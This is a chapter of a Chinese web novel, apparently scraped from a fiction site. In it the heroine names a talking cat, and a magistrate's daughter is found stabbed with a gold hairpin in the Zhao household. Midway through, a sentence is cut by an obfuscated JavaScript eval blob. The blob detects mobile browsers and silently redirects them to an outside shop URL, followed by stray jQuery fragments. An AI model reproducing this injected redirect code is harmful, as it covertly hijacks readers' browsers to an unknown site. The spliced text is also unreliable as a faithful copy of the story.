文趣网 > 其他小说 > 攻略一只冷面鬼 > 11. 猫蛋儿
    吸取刚才的教训,温檀越战越勇,原本她还担心天空中的乌云中降下鬼爪,可现在看来,显然没有什么。

    待到她觉得有些疲惫坐下来歇歇时,熟悉的圆环再次到来,将她拉出梦境。

    温檀睁开双眼,映入眼帘的是客栈的天花板,谢天谢地,这次她没有稀里糊涂地跑到外面。

    天光大亮,暖洋洋的日光透过窗纱,斜射在温檀床榻边沿。一只黑白相间的狸花猫蹲在温檀枕头边,仔细端详着她。而鬼泱则坐在客栈的桌椅旁斟茶。

    温檀闭上眼睛缓了缓,鬼泱来到床边,伸手递上一盏热茶,问:“又遇上那个黑色鬼影了?”

    温檀起身接过,一饮而尽,道:“嗯。”

    “他……又把你按到水里了?”

    温檀回道:“没有啊,我把他揍了一顿,按进水里了。不过为什么我这次起来还是这么疲惫,还出了一身冷汗?”

    旁边传来一声嗤笑,同时响起一个奶声奶气的声音:“你都说了你揍了一晚上人,能不累出汗吗?能不累吗?”

    温檀呛了一下,震惊中又带着点惊喜地看着一旁的小猫咪:“哟,小不点儿,你会说话了?”

    小猫咪高高昂起脑袋:“哼,那是……唉唉,你不要摸,啊啊!”

    温檀根本听不到小猫咪的叫声,一只会说话的傲娇小猫咪,不让她rua一rua,那就不是她温檀了。

    “所以你有名字吗?”温檀举着猫咪的小爪子,问。

    “目前没有,你先放开我!唉唉,你也把我放下!”

    却是鬼泱走过来,薅着它的后脖领子,将它从温檀身上拎起来,扔到一旁茶几处。

    小猫咪苦兮兮的一张脸,大大地“喵呜”一声表示抗议。

    温檀侧身,隔着鬼泱对小猫说:“那给你起个名字吧。”

    “不用!”猫咪炸毛。

    温檀走下床榻,围着茶几转了几圈,口中念念有词:“让我看看哦,啧啧,不得了不得了。”

    她用夸张的语气继续说:“‘似虎能缘木,如驹不伏辕’,黑白二色在你身上化作阴阳两道流云,偏偏那尾巴尖还挑着一点墨,活像哪位神仙打翻砚台时溅落的笔锋。一双碧眸仿佛那三月春水初融时的第一片浮萍。最重要的是,你还拥有见义勇为、知恩图报等众多优秀品质……”

    这话说得可谓浮夸至极,不过小猫咪居然停止了抗议,眼睛中甚至带着些期待。

    被忽悠地不轻,鬼泱摇摇头。不过温檀说得天花乱坠,他也有些好奇温檀最后会这小猫妖取什么名字。

    “所以综上所述,你就叫猫蛋儿好了!”温檀笑着看向小猫咪。

    鬼泱偏头,但不作声。

    “不!”猫咪却发出强烈抗议,“我才不要叫这么土的名字,你这个坏女人!我为什么会对你抱有期待!”

    “坏女人?”温檀转头看向鬼泱:“鬼大侠,你觉得怎么样?”

    鬼泱还带着他的黑金色面具,阳光抚过面具冷硬的曲线,渡上一层暖色光晕,鬼泱此刻慵懒地倚在墙边,隔着面具看不到他的神情,温檀隐约觉得他勾了勾唇角,道:“甚好。”

    “你看,是你的水平还不足以品味到这个名字的高雅!”

    小猫妖猫蛋儿可能刚学会说话,此刻话都说不完整了:“你……你!坏女人!”

    大概真的气着了,它“嗝”了一声直直躺到茶几上。

    “唉?对了,它怎么突然就会说话了?”温檀转身问鬼泱。

    “今天早上意外找到一味药,是炼制化音开语露的重要材料,找不齐其他的,先给它直接吃了。”鬼泱顿了顿,眼神瞥了一眼小猫咪,语调微不可查地上扬了一些:“猫蛋儿吃过之后便可以说话了。”

    “哦~,我们猫蛋儿怎么不算天赋异禀?”温檀憋笑说。就是这化音开语露,温檀摇摇头,也不知道是谁起的这么一个鬼名字。

    “不……是……猫蛋……”小猫咪在茶几上留下悔恨的泪水。

    “好了,办正事。”鬼泱来到茶几边,提溜起猫蛋儿,对温檀说:“走吧,去赵府。”

    “行!”温檀也不啰嗦,利落地将头发挽起。

    两人一猫走出客栈,天气晴好,街上依旧车水马龙,吆喝声不绝于耳。

    几人没有在路上耽误时间,很快便来到赵府门前。

    谁料赵府门口也很热闹,一台气派典雅的轿子停在门前,而赵府老爷赵复则带着不少管家仆从来到门口。

    那轿子中下来一位中年男人,身着一身灰色长袍,领口袖缘暗绣细密云纹,腰间束着素色玉带,低调也价值不菲。

    赵复今天梳妆整齐,没有了昨晚的狼狈,整个人脸上堆着笑迎上前来,说:“真是,亲家您怎么亲自来这儿,该是我亲自上门才是。”

    县太爷秦啸扫了他一眼,冷笑道:“怎么?你们赵家如今都敢对我闺女动手,我这当爹的不应该来看一眼?”

    赵复惭愧地低下头:“是是是,这是草民教子无方,来!您先进来坐,我让人给您奉茶。”

    秦啸一甩袖子,走进赵府。

    温檀几人面面相觑,这个时机显然不适合在去赵府,青天白日的也不好攀人家屋顶。几人遂在外面找了个茶棚坐下,只有小猫蛋儿变作本体狸花猫悄悄溜进赵府。

    那一头,秦啸进到赵府厅堂便问:“姻姻呢?我那好女婿呢?”

    赵复坐在一旁陪笑:“那逆子马上就来,至于姻姻,昨天闹得太晚,此刻怕是还在休息。”

    “哼!”秦啸撇了撇茶盏中的浮沫,抿了一口茶。

    这时,赵空俯首走进来,一见到秦啸便“扑通”一声跪倒在地,头也重重磕到地上。他的头上本就包着白色纱布,这一下磕得实在,又有斑斑血迹渗出,瞧着有些可怜。

    秦啸显然有些诧异,本是想出口责怪,话到嘴边却一转,只是问道:“你头上是怎么回事?”

    赵空跪地顿首道:“没什么,这是昨日与姻姻发生口角,姻姻失手砸的。”

    秦啸的神情一时有些复杂,但还是说道:“所以你就打了姻姻?”

    “此事是小婿的错,还望岳丈大人能够宽恕。”说完,赵空再次俯首。

    赵复适时出来打圆场:“你这逆子,身为男人毫无担当,就算这样,你就可以随意伤害姻姻吗?”

    赵空头埋得更低了:“孩儿的错……”

    “你呀你!”赵老爷恨铁不成钢抬手欲打,倒是被秦啸拦住。

    “罢了,姻姻呢?”他怒气消了不少。

    “已经去叫了。”赵复回道。

    “嗯。”秦啸没有再责骂赵空,也没有让他起来,厅中一时安静下来。赵复赵空父子俩在县太爷饮茶时对视一眼,随即赵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891759|212771||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    空低头,压抑着心中的不甘,克制着翻了个白眼。

    就在这时,秦姻的贴身丫鬟冬月突然跌跌撞撞地跑来,扑通一下跪在门口,哭道:“老爷!小姐……小姐她……”

    “姻姻怎么了?”秦啸立刻放下茶盏起身。

    “小姐她被人杀了!”冬月道。

    “你说什么?!”赵复与秦啸异口同声道。就连跪在地上的赵空此刻亦是回头,眼中满是意外。

    秦啸身为本县县令,查明案情为死者鸣冤本是他的分内之事。他在任多年,断案无数,本不应该如此惊慌失态。

    但秦啸妻子早逝,他怜爱小女,也没再续弦,自然无其他子嗣,秦姻是他唯一的女儿。

    此刻秦啸强作镇定,手却抑制不住地发抖,连带着声音也有些发颤:“头前带路。”

    冬月连忙上前搀扶着他,往后院秦姻的院子走去,边走边哭着对秦啸说:“昨日,小姐与姑爷发生争吵之后,小姐很是气不过,就让奴婢去给您传信。可是深更半夜的,奴婢出行不便,便折返回来,想着第二日说不定小姐气消了,也就不用惊动您了。”

    冬月说着,偷偷看了一眼秦啸的脸色。

    秦啸面上强自镇定道:“你继续说。”

    “是,谁知小姐气得一夜未睡。天刚蒙蒙亮,小姐便催促奴婢去给您报信。奴婢临走之前总算哄着小姐躺下,待奴婢给您报完信回来,想着小姐刚刚躺下,便不忍打扰,也就没有唤醒小姐用早膳。刚刚见您来到赵府,奴婢正准备进房中唤醒夫人,哪里想到,一开门,就看见……看见……”

    看见什么已不必冬月形容,赵府院落不算太大,两人又步履匆匆,很快就来到秦姻房门前。

    房门半开着,因为里面死了人,仆从丫鬟们也不敢随便进去,只待在门口。

    一架绣着花开并蒂的彩绣屏风隔绝了视线,秦啸挣开冬月的搀扶,一步一步绕过屏风,来到秦姻床榻边。

    秦姻依旧躺在床上,只是她双眼圆睁、目眦欲裂,白皙修长的脖颈处插着一支金簪……

    赵家父子此刻也来到房中,无比震惊地看着眼前这一幕。

    无人在意的屋顶,一只狸花猫悄无声息地跃过房梁,轻盈落地。随后趁众人不注意,快速遛到温檀和鬼泱所在的茶棚。

    “你说什么?秦姻死了?”温檀和鬼泱都很诧异。

    “嗯,被一支金簪刺中喉咙,估计死了有一阵儿了。”猫蛋儿板着一张猫脸说。

    “我们现在怎么办?”温檀望向鬼泱。

    “进赵府。”

    却说秦姻院子里,秦啸沉浸在悲痛中,一时失语。他不说话,其他人也都保持沉默。

    赵家父子的神情惊疑不定,但也只是眼神交流,并不出声。

    “叫外面的仆从丫鬟都进来。”秦啸沉声道。

    赵府在祈香镇确属富庶之家,但毕竟没有官职在身,且经历了晋安国与当朝的战乱,整个赵府中仆从并不算多,有很多还是秦姻的陪嫁。

    此刻屋中进来十个仆从,他们你看看我我看看你,最后排成两排依次站好,等待训问。

    “冬月走后,还有谁进过姻姻的房间?”秦啸沙哑的声音响起。

    众仆从低头不语。

    只有一名年纪稍小的丫鬟有些支吾着开口:“冬月姐姐离开后,只有少爷进过夫人的房间。”